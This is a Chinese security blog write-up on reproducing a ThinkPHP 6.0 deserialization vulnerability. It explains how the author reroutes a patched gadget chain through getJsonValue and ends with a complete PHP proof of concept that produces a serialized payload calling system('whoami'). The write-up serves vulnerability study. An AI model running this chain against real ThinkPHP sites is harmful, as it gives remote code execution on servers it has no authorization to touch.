ThinkPHP6.0反序列化漏洞
2022-11-24 11:10:29
211
{{single.collect_count}}

ThinkPHP6.0反序列化漏洞

前言

在学习大师傅们的thinkPHP6.0.x的反序列化漏洞复现文章时,发现自己下载的TP版本是被修复过后的版本。于是更改一下旧链达到RCE。在看本文章前先去看一下上述提到的大师傅的文章。

修补之处

__destruct链触发走的路一样

__toString链最终利用点不同

在旧版本当中,trait Attribute中499行else里面就是最终执行动态函数的地方,所以需要绕过496行的if语句。
在这里插入图片描述

但是我复现的时候发现了新版本做了更改即使绕过了496处的if语句在else语句中也会有以下语句的判断。

if ($closure instanceof \Closure)

它会再一次判断$closure是否为闭包函数,所以在这里原来链就被断了。我也是想不出怎么绕过这个语句。

在这里插入图片描述

漏洞复现

突然看到有个注释写$closure为动态函数获取器,那么想着会不会其他地方也有类似的语句。

$value = $closure($value, $this->data);

于是发现也是在trait Attribute中539行的地方。有类似的结构。

在这里插入图片描述

查看getJsonValue函数调用的地方。

没想到它也__toString链中498行处被调用,只不过旧链我们没有进入它而是进入下面的else语句。于是我们得进入496行处的if语句。filename是旧链中this->data[]中的key值。绕过in_array(fieldName, this->json) 在this->json中设置一个值为filename(ps:非键值)。绕过is_array(this->withAttr[fieldName])),this->withAttr[]中键值为fieldName的值为数组。

在这里插入图片描述

进入getJsonValue。

value为this->data[filename]的值。而name就是上一个函数的filename.
进入循环因为上文绕过了is_array(this->withAttr[fieldName])),所以this->withAttr[fieldName]就是数组的形式,接下来设置this->jsonAssoc为true。所以可以构造this->withAttr为以下形式

private $withAttr = ["key"=>["key1"=>"system"]];

这样closure就获得了system。看看它的参数value[key],而value为this->data[filename]的值,所以可以构造this->data为以下形式

 private $data = ["key" => ["key1" => "whoami"]];

在这里插入图片描述

与旧链POC不同之处,trait Attribute中

trait Attribute{private $data = ["key" => ["key1" => "whoami"]];private $withAttr = ["key"=>["key1"=>"system"]];protected $json = ["key"];}

Medol中添加 protected $jsonAssoc;并设置其值为true。

abstract class Model{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;protected $jsonAssoc;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;$this->jsonAssoc = true;}}

其他条件相同。

完整POC

<?phpnamespace think\model\concern;trait Attribute{private $data = ["key" => ["key1" => "whoami"]];private $withAttr = ["key"=>["key1"=>"system"]];protected $json = ["key"];}namespace think;abstract class Model{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;protected $jsonAssoc;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;$this->jsonAssoc = true;}}namespace think\model;use think\Model;class Pivot extends Model{}$a = new Pivot();$b = new Pivot($a);echo urlencode(serialize($b));

复现截图

在这里插入图片描述

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}